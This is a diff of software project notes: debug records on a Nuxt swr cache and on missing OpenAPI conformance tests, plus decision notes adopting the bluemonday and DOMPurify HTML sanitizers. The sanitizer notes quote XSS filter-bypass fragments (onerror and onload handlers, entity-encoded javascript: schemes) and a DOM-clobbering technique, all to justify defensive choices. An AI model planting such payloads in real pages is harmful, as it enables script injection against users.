found: nginx has no proxy_cache; `/` proxies to Nuxt on 127.0.0.1:3016. nuxt.config.ts routeRules `'/**': { swr: 300 }, '/blog/**': { swr: 120 }` (Nitro route cache on the Node server); category pages are at `/:category` (so /cordyceps falls under `/**` swr 300)
implication: Nitro's swr route cache is the only HTTP cache between the API and the browser
- timestamp: 2026-10-10T15:24Z
checked: curl -D - http://127.0.0.1:3016/cordyceps on the UAT host (bypasses nginx/basic auth)
found: 200, `last-modified: Sat, 10 Oct 2026 14:59:08 GMT`, `cache-control: s-maxage=300, stale-while-revalidate`, body contains the OLD "Te grzyby, szczególnie Cordyceps sine"
implication: Nuxt serves a page rendered 79 s BEFORE the save, 25 min after it — far past the 300 s swr TTL. The cache entry is not being refreshed (H3 territory), or a refresh re-renders from stale data
- timestamp: 2026-10-10T15:24Z
checked: vue-journal-layer app/journal-pages/CategoryPage.vue, app/utils/client.ts, app/composables/useJournalApi.ts and the host override sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/composables/useJournalApi.ts
found: the category page resolves the slug via GET /categories?include_empty=1 and renders found.content through sanitizeJournalHtml; the server fetcher is a plain $fetch to runtimeConfig.journal.apiBase with no cachedFunction/useStorage/getCachedData
implication: no data-level cache in the layer or app; the only cache is the Nitro route (swr) cache around the page renderer
- timestamp: 2026-10-10T15:25Z
checked: second curl of http://127.0.0.1:3016/cordyceps on the UAT host, 59 s after the 15:24:01 request (also /, /blog, /lions-mane)
found: /cordyceps now `last-modified: Sat, 10 Oct 2026 15:24:01 GMT` and the body contains the NEW "Te grzyby, a szczególnie"; /lions-mane last-modified 12:40:55, / 14:37:04, /blog 12:40:53 (entries only move when visited after expiry)
implication: revalidation works; it is lazy. My 15:24:01 GET (first request after expiry) was served the stale page and triggered the background re-render; the next request got the fresh page. Nothing was broken in the render/refresh path at 15:24
- timestamp: 2026-10-10T15:26Z
checked: nginx access log /var/log/nginx/grzybyfunkcjonalne-uat-access.log, 14:00–15:25 UTC, requests to /cordyceps and the categories admin API
found: 14:59:08 GET /cordyceps 200 13320 (the user's pre-edit view; cache entry mtime = 14:59:08, fresh until 15:04:08). PUT /gfadmin/api/v1/golem15/journal/categories/2 x7 at 14:59:48, 14:59:57, 15:00:06, 15:00:13, 15:00:16, 15:00:23, 15:00:27 (all 200). GET /cordyceps at 14:59:52, 14:59:53 (304), 14:59:54 (304), 14:59:55 (304), 15:00:00 x2, 15:00:07–15:00:09 x6, 15:00:30 — every one 200 13269 or 304 (same etag). No /cordyceps request between 15:00:30 and my 15:23:42 one
implication: every page view the user made after saving fell inside the 300 s fresh window of the entry rendered at 14:59:08, so Nitro returned it without even scheduling a revalidation; identical 13269-byte bodies and 304s confirm one cached entry was served throughout
- timestamp: 2026-10-10T15:27Z
checked: deployed /srv/grzybyfunkcjonalne/nuxt/.output/server/chunks/nitro/nitro.mjs (defineCachedFunction get(), routeRules, storage mounts)
found: routeRules `/**` → `cache: { swr: true, maxAge: 300 }`, `/blog/**` → maxAge 120. get(): `expired = ... ttl && Date.now() - entry.mtime > ttl`; not expired → returns the entry, no resolve; expired + swr → returns the stale entry and re-renders in the background (event.waitUntil). Cache storage is the root in-memory driver (only `data` is mounted to fsLite). Nuxt log has no `[cache] SWR handler error`
implication: the observed behaviour is exactly Nitro swr semantics: an edit becomes visible only after the TTL has expired AND one request has triggered the re-render, i.e. on the second visit after expiry; worst case is unbounded in wall time for a page nobody visits, best case is ~300 s + one throwaway load
- timestamp: 2026-10-10T15:28Z
checked: grep for purge/revalidate/invalidate/swr in sm-journal-plugin, vue-journal-layer, sm-grzybyfunkcjonalne-app; planning docs (16-CONTEXT D-07, DEPLOY.md, host README, 16.2-VERIFICATION)
found: no cache purge or invalidation hook anywhere (Go save path does not notify Nuxt; Nuxt exposes no purge route). Phase 16 D-07 chose swr deliberately ("a newly published post shows up without a rebuild"), TTLs were Claude's discretion; host README: "a newly published post appears within the TTL"; DEPLOY.md: "The Nuxt page caches (swr) expire by themselves." 16.2-VERIFICATION human item (line 39/211) and the UAT step say "the site shows the change" with no mention of the cache window
implication: the staleness is designed behaviour of the Phase 16 host app, not a 16.2 regression; the UAT step omitted the wait, and there is no editor-facing way to see an edit immediately
- timestamp: 2026-10-10T15:29Z
checked: grep for "Te grzyby, szczeg" in the host app (app/, i18n/), vue-journal-layer (app/, i18n/), the deployed Nuxt .output, and golem15_journal_posts content/content_html/excerpt
found: no matches anywhere; the phrase exists only in category 2 content (now edited)
implication: H4 eliminated — the old text on the site came from the category content in the cached render
## Resolution
root_cause: "Not a 16.2 save defect. The save, the DB row and the Journal API all carry the edit. The host app's Nitro swr route cache (vue-grzybyfunkcjonalne-app nuxt.config.ts routeRules '/**': { swr: 300 }, deployed as cache { swr: true, maxAge: 300 }, in-memory) served /cordyceps rendered at 14:59:08 UTC. That render came from the user's own pre-edit view, 40 s before the first PUT (14:59:48). Every post-save view (14:59:52 to 15:00:30) fell inside the entry's 300 s fresh window (to 15:04:08), and Nitro returns an unexpired entry without revalidating. Nothing invalidates the entry on admin save: there is no purge hook in sm-journal-plugin, vue-journal-layer or the host app. After expiry, the first view still gets the stale copy and triggers the re-render, so an edit shows only on the second view more than 300 s after the last render. Contributing: the 16.2 UAT/VERIFICATION step 'the site shows the change' does not account for the Phase 16 D-07 swr window."
fix: (not applied — goal find_root_cause_only)
verification: "Observed self-healing without any write: 127.0.0.1:3016/cordyceps returned the old text at 15:24:01 UTC (last-modified 14:59:08) and the new 'Te grzyby, a szczególnie' at 15:25:00 (last-modified 15:24:01)"
files_changed: []
## Resolution
Fixed by plan 16.2-07 (released as summercms v0.1.20 and vue-journal-layer v0.3.0) and confirmed on UAT on 2026-10-10. See 16.2-07-SUMMARY.md.

View File

@@ -0,0 +1,156 @@
---
status: resolved
trigger: "UAT gap G-16.2-1: bash scripts/check-phase16.2.sh postgres fails in ./modules/cabana: TestPhase10OpenAPIConformance: openapi_conformance_test.go:418: admin route GET /field-types has no conformance case"
created: 2026-10-10T17:10:00+02:00
updated: 2026-10-10T20:05:00+02:00
goal: find_root_cause_only
---
## Current Focus
hypothesis: CONFIRMED — the postgres stage is red for two code defects, both written in 16.2 and both hidden because the checks only run in Docker-only test binaries that never ran before UAT: (1) two 16.2 admin routes have no conformCase in TestPhase10OpenAPIConformance; (2) sm-journal-plugin TestJournalSVGEmbed still asserts post content `type: mlmarkdown` after 16.2-03 changed it to `mlblogeditor`.
test: done — static diff, 3x direct repro, full cabana and Journal postgres-stage runs on this Docker host
expecting: n/a
next_action: return ROOT CAUSE FOUND (goal: find_root_cause_only); plan-phase --gaps owns the fix
bug_class: Bohrbug (deterministic; Go map iteration only changes WHICH of the two missing keys line 418 reports first)
reasoning_checkpoint:
hypothesis: "TestPhase10OpenAPIConformance fails because cabana.AdminAPIRoutes() (phase09Routes non-spa keys) has 56 entries and the conformCase list 54: GET /field-types and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload, both added to the inventory in 16.2-01, have no case; once fixed, the same stage fails next on TestJournalSVGEmbed because it asserts `type: mlmarkdown` in models/post/fields.yaml, which 16.2-03 replaced with `type: mlblogeditor`."
confirming_evidence:
- "static diff of security_coverage_test.go phase09Routes vs conformCase keys: uncovered = [GET /field-types, POST .../fields/{field}/upload]; not-inventoried = []"
- "go test -count=3 -run '^TestPhase10OpenAPIConformance$' ./modules/cabana: FAIL 3/3, line 418 reports upload, field-types, upload"
- "Journal `go test -json -count=1 ./...` on this Docker host: only failure is TestJournalSVGEmbed, plugin_test.go:123 'post fields.yaml content is not mlmarkdown'; fields.yaml line 19 is `type: mlblogeditor` since fbd1c85"
- "cabana with -skip TestPhase10OpenAPIConformance: package PASS, 291 top-level tests, TestFieldTypeSavePostgres and TestListRelationSearchPostgres PASS with real Postgres queries in the output"
falsification_test: "If adding conformCases for exactly those two keys (and fixing the mlmarkdown assertion) still left the postgres stage red, or if the inventory/case diff showed a third key, the hypothesis would be incomplete."
fix_rationale: "Adding the two cases satisfies the exhaustiveness invariant and checks the real responses against admin.json (FieldTypesResponse, Envelope-cabana_FieldUploadResponse); updating the stale Journal assertion aligns it with the intended 16.2 field type. Separating the static inventory check from the Docker setup closes the masking path."
blind_spots: "The conformance cases themselves have not been written, so it is unverified that the fixture-backed responses decode cleanly with DisallowUnknownFields (e.g. FieldTypesResponse meta is `{}` from WriteData, which decodes into SuccessMeta; the upload case needs a conform plugin field type with Upload). Admin/editor/layer/docs stages were not re-run in this session."
candidate_causes:
- "code: missing conformCase entries for the two 16.2 routes (CONFIRMED)"
- "code: stale TestJournalSVGEmbed assertion vs the intended mlblogeditor change (CONFIRMED)"
- "environment: no Docker on the 16.2 execution host, so every testcontainers binary failed on docker.sock and was waved through as 'Docker-only' (CONFIRMED contributing)"
- "config/process: gate go stage FRAMEWORK_RUN omits TestPhase10OpenAPIConformance; the static inventory check runs after newConformEnv -> adminGorm; 16.2-01 PLAN/PATTERNS name phase09Routes + admin_openapi.go but not openapi_conformance_test.go (CONFIRMED contributing)"
- "data/environment: container start failure or flaky Postgres (ELIMINATED — containers start, 291 cabana + 66 Journal top-level tests pass)"
and_gate: "yes — the UAT failure needed the code defects AND the masking (static checks reachable only through testcontainers, no Docker during execution, go stage regex omits the test). Either code defect alone turns the stage red; the masking is why neither was caught before UAT."
## Symptoms
expected: `bash scripts/check-phase16.2.sh postgres` passes on a Docker host (cabana testcontainers suites incl. TestFieldTypeSavePostgres; Journal admin harness in ../sm-journal-plugin incl. TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor)
actual: run 2026-10-10 16:57 CEST on a Docker host, the stage fails in ./modules/cabana: `--- FAIL: TestPhase10OpenAPIConformance` — `openapi_conformance_test.go:418: admin route GET /field-types has no conformance case`. The script stops there; the Journal Postgres suites never ran.
errors: openapi_conformance_test.go:418: admin route GET /field-types has no conformance case
reproduction: bash scripts/check-phase16.2.sh postgres (UAT Test 1)
started: Phase 16.2 (GET /field-types added in 16.2; discovered during UAT)
## Eliminated
- hypothesis: the postgres stage fails because of Docker/testcontainers environment problems (container start, timeouts)
evidence: in the UAT log the cabana package ran 90s and only TestPhase10OpenAPIConformance failed; in this session cabana (skip conformance) passed 291 top-level tests in 77s and the Journal run passed every package but root, with real SQL in the logs
timestamp: 2026-10-10T17:21:00+02:00
- hypothesis: only GET /field-types is missing a conformance case
evidence: the inventory/case diff shows POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is uncovered too; `go test -count=3` reported the upload key in runs 1 and 3 and field-types in run 2
timestamp: 2026-10-10T17:24:00+02:00
- hypothesis: the gap in the Journal suites is limited to the cabana abort (they would pass once cabana is green)
evidence: running the Journal stage command directly fails on TestJournalSVGEmbed (stale mlmarkdown assertion), which is in PG_JOURNAL_REQUIRE
timestamp: 2026-10-10T17:20:00+02:00
## Evidence
- timestamp: 2026-10-10T17:12:00+02:00
checked: .planning/debug/knowledge-base.md (Phase 0)
found: no knowledge base file exists; no prior pattern to test
implication: open-ended investigation
- timestamp: 2026-10-10T17:13:00+02:00
checked: scratchpad/pg.log (UAT run of the postgres stage)
found: detect_go reports failed only "modules/cabana TestPhase10OpenAPIConformance" plus the package; openapi_conformance_test.go:418 "admin route GET /field-types has no conformance case"; package took 90s (containers started fine)
implication: the only failing cabana test in that run was the conformance test; run_postgres aborts (set -e) before the Journal go_json call
- timestamp: 2026-10-10T17:15:00+02:00
checked: modules/cabana/openapi_conformance_test.go:129-450
found: TestPhase10OpenAPIConformance calls newConformEnv(t) FIRST (line 130), then builds the conformCase list, then requires covered == inventory where inventory = cabana.AdminAPIRoutes() (export_test.go: every non-spa phase09Routes key). Missing key -> t.Fatalf at line 418 inside a `for key := range inventory` map loop (random order, so only the first missing key found is reported).
implication: the exhaustiveness check is purely static but cannot run without a Postgres container
- timestamp: 2026-10-10T17:16:00+02:00
checked: modules/cabana/auth_test.go:321-365 adminGorm
found: testing.Short() -> t.Skip; otherwise testcontainers postgres:16-alpine; a container error -> t.Fatalf("postgres: %v")
implication: on a host without Docker the conformance test fails at setup with a docker.sock error, masking the inventory check
- timestamp: 2026-10-10T17:17:00+02:00
checked: grep of conformCase keys vs modules/cabana/security_coverage_test.go phase09Routes
found: TWO inventoried non-spa routes have no conformCase: "GET /field-types" (inventory line 46) and "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" (inventory line 92). `grep 'fields/{field}/upload\|/field-types' openapi_conformance_test.go` -> no match.
implication: fixing only GET /field-types would leave the test failing on the upload route next
- timestamp: 2026-10-10T17:18:00+02:00
checked: git log -S on security_coverage_test.go and git log of openapi_conformance_test.go
found: GET /field-types entered the inventory in 717d46e (feat(16.2-01) compile, decode and load plugin field types), the upload route in 8fa92db (feat(16.2-01) ... uploads). openapi_conformance_test.go was last touched by 64d21c8/143eca5 (My account), b492e79 (markdown preview) — earlier route additions did add a conformCase in the same change; 16.2 did not.
implication: a convention ("new admin route => conformCase") that held before 16.2 was missed in 16.2-01
- timestamp: 2026-10-10T17:19:00+02:00
checked: .planning/phases/16.2-*/ SUMMARY and VERIFICATION docs
found: no 16.2 plan mentions TestPhase10OpenAPIConformance; 16.2-01/03/05/06 SUMMARYs record "No Docker on this host (docker.sock permission denied)" and "the only failures ... are the testcontainers suites failing on docker.sock" — cabana is in that list. VERIFICATION marks the postgres stage "? SKIP (human item 1)".
implication: the conformance failure was hidden inside the blanket "Docker-only failure" bucket; nobody ran cabana's testcontainers suites before UAT
- timestamp: 2026-10-10T17:20:00+02:00
checked: scripts/check-phase16.2.sh go stage
found: FRAMEWORK_RUN regex lists TestPhase09ContractInventory and TestPhase09PermissionMatrix (static, both pass: they compare the mount with phase09Routes and admin.json paths) but NOT TestPhase10OpenAPIConformance; the go stage runs with -run "$FRAMEWORK_RUN" so the conformance test never runs there. The postgres stage runs the whole ./modules/cabana package and is the only stage that reaches it.
implication: no non-Docker gate covers the inventory-vs-conformance-case invariant
- timestamp: 2026-10-10T17:21:00+02:00
checked: admin/openapi/admin.json for both routes; modules/cabana/admin_openapi.go:264-276; field_type.go:834-871; contracts.go:245
found: GET /field-types 200 documents $ref cabana.FieldTypesResponse ({data: []cabana.FieldTypeAssets, meta: cabana.SuccessMeta}, all of name/element/translatable/scripts/styles required); the handler writes WriteData(200, []FieldTypeAssets, nil) => {"data":[...],"meta":{}}. POST .../fields/{field}/upload 201 documents cabana.Envelope-cabana_FieldUploadResponse ({data:{url}, meta}); multipart part named "file". conformPlugin (openapi_conformance_test.go:818-843) does NOT implement pact.HasFormFieldTypes and the gadget fields.yaml has no plugin-typed field.
implication: a GET /field-types case can decode into cabana.FieldTypesResponse with ref "cabana.FieldTypesResponse" today (empty list); a meaningful case and any upload case need the conform fixture to register a plugin field type (with Upload, scripts) and a gadget field of that type
- timestamp: 2026-10-10T17:19:00+02:00
checked: route registrations added since 16.1/16.2 started (git diff 1ef21b0~1..HEAD of non-test modules/**/*.go in summercms.go; c60abc6..HEAD of non-test *.go in sm-journal-plugin)
found: summercms.go adds exactly two routes: g.Get("/field-types") and g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"). sm-journal-plugin adds none (editor uploads go through the cabana route).
implication: the conformance gap is exactly those two routes; no other 16.2 route is missing a case
- timestamp: 2026-10-10T17:19:30+02:00
checked: ran the Journal postgres-stage command exactly as run_postgres does (`go test -json -count=1 -timeout 20m ./...` in ../sm-journal-plugin, which go.work/replace points at ../summercms.go) on this Docker host
found: packages classes, controllers, controllers/api, models, updates PASS; root package FAIL. Required tests: TestPostsFormCompiles PASS, TestPostsAdminCreateSmoke PASS, TestPostsAdminResaveKeepsHTML PASS, TestPostsAdminSaveSanitizesHTML PASS, TestCategoriesAdminContent PASS, TestCategoriesAdminBlogEditor PASS, TestJournalSVGEmbed FAIL — plugin_test.go:123 "post fields.yaml content is not mlmarkdown". 66 top-level tests passed, no skips, no "no tests to run".
implication: a SECOND, independent failure is queued behind the cabana one; fixing only the conformance case still leaves the postgres stage red
- timestamp: 2026-10-10T17:20:00+02:00
checked: sm-journal-plugin plugin_test.go:118-124, models/post/fields.yaml, git show fbd1c85 / 47f3032
found: TestJournalSVGEmbed asserts strings.Contains(fields.yaml, "type: mlmarkdown") (a Phase 15 assertion). 16.2-03 commit fbd1c85 "feat(admin): post content on the Blog Editor field type" changed post content from `type: mlmarkdown` to `type: mlblogeditor` (+ htmlColumn, uploadFolder); no other post field is mlmarkdown. 47f3032 (16.2-02) extended the same test with bundle checks but did not touch the mlmarkdown assertion. The root package TestMain needs testcontainers, so the test never ran on the no-Docker 16.2 execution host (16.2-02-SUMMARY line 263/278/293).
implication: stale assertion contradicting an intended 16.2 change; same masking mechanism (Docker-only suite never executed before UAT)
- timestamp: 2026-10-10T17:22:00+02:00
checked: static diff (python over security_coverage_test.go phase09Routes and the conformCase literal keys)
found: inventory non-spa 56, cases 54; uncovered = ['GET /field-types', 'POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload']; not inventoried = []
implication: exactly two cases are missing
- timestamp: 2026-10-10T17:23:00+02:00
checked: cabana run on this Docker host: `go test -json -count=1 -timeout 15m -skip '^TestPhase10OpenAPIConformance$' ./modules/cabana`
found: package PASS (77s), 291 top-level tests passed, no fails, no skips, no "no tests to run". TestFieldTypeSavePostgres PASS (real SELECT ... FOR UPDATE on ft_notes in its output), TestListRelationSearchPostgres PASS, TestMLOpenAPIConformance PASS.
implication: TestPhase10OpenAPIConformance is the only cabana failure in the postgres stage
- timestamp: 2026-10-10T17:24:00+02:00
checked: `go test -count=3 -timeout 10m -run '^TestPhase10OpenAPIConformance$' ./modules/cabana`
found: FAIL 3/3: run1 "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload has no conformance case", run2 "GET /field-types has no conformance case", run3 upload again
implication: deterministic failure; which key is named depends on map iteration order
- timestamp: 2026-10-10T17:25:00+02:00
checked: 16.2-01-PLAN.md tasks 2/3 and 16.2-PATTERNS.md line 24/109
found: both name admin_openapi.go + phase09Routes (+ check-admin-openapi.sh) as the places to register a new admin route; neither names openapi_conformance_test.go. Task automated verifies run only TestPhase09ContractInventory/TestPhase09PermissionMatrix (static), which pass.
implication: the route-registration checklist given to the executor was incomplete — the third location of the invariant was not in it
- timestamp: 2026-10-10T17:26:00+02:00
checked: compileFieldTypes (field_type.go ~160-190), conformPlugin, admin.json schemas
found: a registered type needs an element under the plugin's widget tag prefix and, for scripts/styles, pact.AdminAssets with the files in AdminFS (conformPlugin already has AdminFS with js/css assets). FieldTypesResponse decodes {"data":[...],"meta":{}} (SuccessMeta all-omitempty). Upload 201 is Envelope-cabana_FieldUploadResponse with multipart part "file".
implication: fix-direction constraints for the plan (see Resolution)
## Resolution
root_cause: "(1) Phase 16.2-01 added GET /field-types (717d46e) and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload (8fa92db) to the admin route inventory (phase09Routes) and admin.json but added no conformCase to TestPhase10OpenAPIConformance (modules/cabana/openapi_conformance_test.go), whose exhaustiveness check (line 416-419) fails on whichever of the two it meets first; (2) sm-journal-plugin TestJournalSVGEmbed (plugin_test.go:122-123, in PG_JOURNAL_REQUIRE) still asserts `type: mlmarkdown` in models/post/fields.yaml after 16.2-03 (fbd1c85) changed post content to `type: mlblogeditor`; (3) contributing: both checks are static but live in testcontainers-only binaries (newConformEnv -> adminGorm runs before the inventory check; the Journal root TestMain starts Postgres), the 16.2 execution host had no Docker and the summaries filed every cabana/Journal-root failure as docker.sock noise, check-phase16.2.sh's go-stage FRAMEWORK_RUN omits TestPhase10OpenAPIConformance, and the 16.2-01 PLAN/PATTERNS route checklist omitted openapi_conformance_test.go."
fix: ""
verification: ""
files_changed: []
suggested_fix_direction: |
- Add two conformCases. GET /field-types: status 200, ref "cabana.FieldTypesResponse", decode into[cabana.FieldTypesResponse](); register a plugin field type on the conform fixture (conformPlugin implements pact.HasFormFieldTypes; element under its widget tag prefix; a script already in conformFS) so the list is non-empty and the ?v= asset URL can be checked with assertPluginAsset. POST .../fields/{field}/upload: status 201, ref "cabana.Envelope-cabana_FieldUploadResponse", decode into[cabana.Envelope[cabana.FieldUploadResponse]](); a gadget fields.yaml field of that alias whose type has Upload, multipart part named "file", sent with requireAjax headers. Mind that a plugin-typed field on the gadget form also runs Decode/Load in the existing create/update/show cases — make them benign or give conformGadget a column for it.
- Fix TestJournalSVGEmbed to assert the intended `type: mlblogeditor` (optionally htmlColumn: content_html) for post content.
- Recurrence guard: split the static inventory check out of the Docker setup (e.g. move `env := newConformEnv(t)` after the coverage loop, or a package-level conformCaseKeys + a Docker-free TestPhase10ConformanceInventory) and add it to FRAMEWORK_RUN in check-phase16.2.sh (and later gates); add openapi_conformance_test.go to the "new admin route" checklist next to phase09Routes and admin_openapi.go.
## Resolution
Fixed by plan 16.2-07 (released as summercms v0.1.20 and vue-journal-layer v0.3.0) and confirmed on UAT on 2026-10-10. See 16.2-07-SUMMARY.md.

View File

@@ -0,0 +1,32 @@
# Decision: bluemonday sanitizes the framework richeditor field
**Date:** 2026-10-11
**Status:** Accepted (Phase 17 plan 01, D-10)
**Relates to:** `.planning/notes/journal-html-sanitizing-bluemonday.md` (the Journal plugin's policy, which this one ports)
## Decision
The framework module `git.golem15.com/golem15/summercms` adds `github.com/microcosm-cc/bluemonday` **v1.0.27** to its `go.mod`. It is the same library and the same version `sm-journal-plugin` already uses (latest tag, 2024-07-04, confirmed with `go list -m -json github.com/microcosm-cc/bluemonday@latest`). `go.sum` is committed with it.
A new framework module, `seaglass` (glass the sea has worn smooth), owns the policy:
- `seaglass.Sanitize`, `seaglass.SanitizeReport` and `seaglass.Check` port Journal's `newHTMLPolicy` / `SanitizeHTMLReport` / `CheckHTML`: bluemonday's UGC policy with `RequireNoFollowOnLinks(false)`, the link scheme allowlist (http, https, mailto, tel and relative URLs) and Journal's extra attributes.
- The four Blog Editor rules (`figure data-embed`, `figure data-id`, free-text `img alt`, `ol start`) are **not** ported: they describe one plugin's editor output, and the framework must not import or mirror a plugin. A plugin that needs more keeps its own policy, as Journal does.
- The byte-stable comparison is kept: when the input and bluemonday's output tokenize (with `golang.org/x/net/html`, already a framework dependency) to the same tokens, the input is returned byte for byte and nothing is reported, so re-escaping alone never rewrites stored HTML. A repeated attribute always counts as a change.
- `SanitizeReport` returns what was removed (element names, attribute names, comment count, a Changed flag), which cabana turns into `meta.notices` on the field.
cabana's core `type: richeditor` field (FAQ descriptions, repeater answers) sanitizes every submitted value through `seaglass.SanitizeReport` on create and update, top level and inside repeater rows. Settings and relation forms refuse the type at boot, so no save path bypasses the gate.
## Why not cabana's markdown gate
`cabana.RenderMarkdown` checks goldmark output with three regexes (unsafe tags, `on*=` attributes, dangerous schemes). It only works there because goldmark renders without unsafe HTML, so raw HTML never reaches the check. A richeditor stores raw HTML. The Journal decision note lists real bypasses of exactly that regex style: `<img src="x"onerror=…>`, `<svg/onload=…>`, `javascript&#58;`, `javascript&colon;`, `&#106;avascript:`, MathML `xlink:href`, `<base>`, `<meta http-equiv=refresh>`, `<form>`. A tokenizing sanitizer checks attributes and URL values the way a browser parses them. The project prefers a maintained library for security code over a hand-built gate (the Journal note also rejected a hand-built allowlist on `golang.org/x/net/html`).
## Deviation from D-10: Journal category content stays blogeditor
D-10 also said "Journal's category `content` switches from `textarea` to `richeditor`". Phase 16.2 already shipped the Journal Blog Editor (`type: blogeditor`) for category content and closed the `cabana-richeditor-field-type` todo (RESEARCH A1, PATTERNS note). Switching it would regress that editor. This clause is recorded as a resolved deviation: Journal category content stays `blogeditor`; the framework richeditor serves the FAQ description and the repeater answer only.
## Consequences
- One sanitizer version across the workspace (framework and Journal both pin v1.0.27); a future bump changes both together.
- Imported PHP HTML that the policy keeps whole round-trips byte for byte on its next admin save; HTML the policy changes is stored sanitized and the editor sees what was removed.
- `modules/seaglass/README.md` names bluemonday under Dependencies; the root README lists the module.

View File

@@ -0,0 +1,61 @@
# Decision: DOMPurify sanitizes the admin richeditor read-only display
**Date:** 2026-10-12
**Status:** Accepted (quick task 261012-s3g, closes T-10-16 / T-17-10)
**Relates to:** `.planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md` (the server-side gate on every richeditor save), `.planning/phases/10-admin-vue-spa/10-SECURITY.md`
## Decision
The admin SPA (`admin/package.json`) adds three npm packages, each with an exact pin and the committed `package-lock.json`:
| Package | Version | Kind | Use |
|---------|---------|------|-----|
| `dompurify` | 3.4.16 | runtime dependency | sanitizes the richeditor read-only display (`displayHtml` in `admin/src/components/form/richeditor/html.ts`) |
| `@vitest/browser` | 3.2.7 | devDependency | Vitest browser mode, matching the installed vitest 3.2.7 exactly (its peerDependency) |
| `playwright` | 1.60.0 | devDependency | the browser-mode provider (Chromium) |
The browser suite runs as `npm --prefix admin run test:browser` from `admin/vitest.browser.config.ts` and covers `admin/tests/browser/**/*.test.ts`. The happy-dom suite (`npm --prefix admin test`) excludes `tests/browser`.
`displayHtml` uses a dedicated DOMPurify instance (`DOMPurify(window)`, so the hook is not global) with one frozen config:
- `ALLOWED_TAGS`: the editor's elements, `EDITOR_TAGS` from `lossy.ts`;
- `ALLOWED_ATTR`: `['href']`; `ALLOW_DATA_ATTR` and `ALLOW_ARIA_ATTR` false;
- an `uponSanitizeAttribute` hook that keeps `href` only on `<a>` and only when `isAllowedLink` accepts it (http, https, mailto, tel or a relative URL);
- `ADD_FORBID_CONTENTS`: the former `DROPPED` list (script, style, template, noscript, iframe, frame, frameset, object, embed, applet, svg, math, title, head, meta, link, base), so those elements go with their content;
- `KEEP_CONTENT` true: any other element is unwrapped and keeps its text;
- string input and string output (`RETURN_TRUSTED_TYPE` false); never `RETURN_DOM`, `RETURN_DOM_FRAGMENT` or `IN_PLACE`. DOMPurify parses the string with `DOMParser` into an inert document, so nothing is adopted into the live document and no image request starts while sanitizing.
`displayHtml` fails closed: it returns the empty string unless DOMPurify reports `isSupported` and a fixed canary (`<p onclick="x"><b>a</b><script>b</script><a href="javascript:c">d</a></p>`) sanitizes to exactly `<p><b>a</b><a>d</a></p>`. The stored value is never bound.
## Why
- **The hand-rolled walker was bypassable.** `clean()` read `nodeType`, `localName`, `childNodes` and `attributes` from each element. A `<form>` holding `<input name="nodeType">` (or `name="localName"`, or an `img`/`button` named that way) clobbers those properties, so the walker skipped the form and everything inside it, including an `<img onerror>`, and the result was bound with a raw-HTML directive at `RichEditorField.vue:305`.
- **Maintained library for security code.** The project prefers a maintained sanitizer over a hand-built one (bluemonday on the server, the Journal note's rejection of a hand-built allowlist). DOMPurify is the de-facto browser sanitizer, has explicit DOM-clobbering checks (`_isClobbered`, removal of clobbered forms before attributes are visited) and reads node properties through prototype getters captured at load, not through the element itself.
- **happy-dom cannot test it.** happy-dom does not reproduce form-control clobbering, and under happy-dom 20.11.6 DOMPurify reports `isSupported` true yet visits only top-level nodes: `<section><p class="x">a</p></section><script>b</script>` comes back as `<p class="x">a</p><script>b</script>`. Hence the canary (fail closed where the walker is not faithful) and a regression suite in a real engine.
## Scope vs Phase 10 D-23
Playwright is used only as the Vitest browser-mode provider, for unit-level tests that need a real engine. It does not implement the deferred Playwright end-to-end follow-up recorded in `10-CONTEXT.md` (D-23); that stays deferred.
## Legitimacy
Re-checked on 2026-10-12 before install, matching the planning-time table:
| Package | Version | Check | Result |
|---------|---------|-------|--------|
| dompurify | 3.4.16 | `npm view dompurify@3.4.16 dist.integrity maintainers repository.url` | integrity `sha512-sqo+pNp3qRhCIpbgRi1y8Tgk27Bo2Ry7w0dC1NBeNTdZChWjz9Xb/KOoZbRP/R6pQZ80Qw8YhXw13hWWBbMRnQ==`; maintainer `cure53 <mario@cure53.de>` (sole maintainer since the start); repo `github.com/cure53/DOMPurify`; license `(MPL-2.0 OR Apache-2.0)`; one dependency `@types/trusted-types ^2.0.7`; released 2026-09-23 |
| @vitest/browser | 3.2.7 | `npm view @vitest/browser@3.2.7 maintainers peerDependencies` | maintainers ariperkkio, antfu, hiogawa, oreanno, yyx990803 (vitest-dev); repo `github.com/vitest-dev/vitest`; peer `vitest: 3.2.7`, `playwright: *`; released 2026-07-06 |
| playwright | 1.60.0 | `npm view playwright@1.60.0 maintainers dependencies` | maintainers pavelfeldman, yurys, dgozman-ms, playwright-bot (Microsoft); repo `github.com/microsoft/playwright`; one dependency `playwright-core 1.60.0`; released 2026-05-11 |
The lockfile's dompurify integrity must equal the value above; `npm ci` installs from the committed lockfile.
## Version choice
3.4.17 is the latest release, but it was published on 2026-10-12, hours before this decision. Its release notes list `IN_PLACE` and hook fixes and edge-case hardening, with no security advisory. 3.4.16 is pinned under a 7-day release cooldown. Bump to 3.4.17 or later after 2026-10-19.
## Consequences
- The read-only display drops the content of DOMPurify's default content-forbidden elements (thead, colgroup, audio, video and others) on top of the `DROPPED` list. The editor itself never produces them.
- happy-dom tests can no longer assert exact display output: `displayHtml` returns the empty string there. Exact assertions live in `admin/tests/browser/richeditor-display.test.ts`.
- The browser suite needs the Playwright Chromium build on the machine (`npx --prefix admin playwright install chromium` once).
- The committed admin dist grows by the DOMPurify bundle; the only URL literal it adds is `http://www.w3.org`, which the dist-origin rule already allows.

View File

@@ -0,0 +1,26 @@
# Decision: go-hashids for the payment gateway hash ids
**Date:** 2026-10-13
**Status:** Accepted
**Context:** Phase 18 plan 02 (`sm-paymentgateway-plugin`), 18-RESEARCH.md Standard Stack and assumption A3
## Decision
`sm-paymentgateway-plugin` depends on `github.com/speps/go-hashids/v2` at **v2.0.1** for the order `hash_id` (length 8) and `guest_code` (length 32, over `id * 118`) columns.
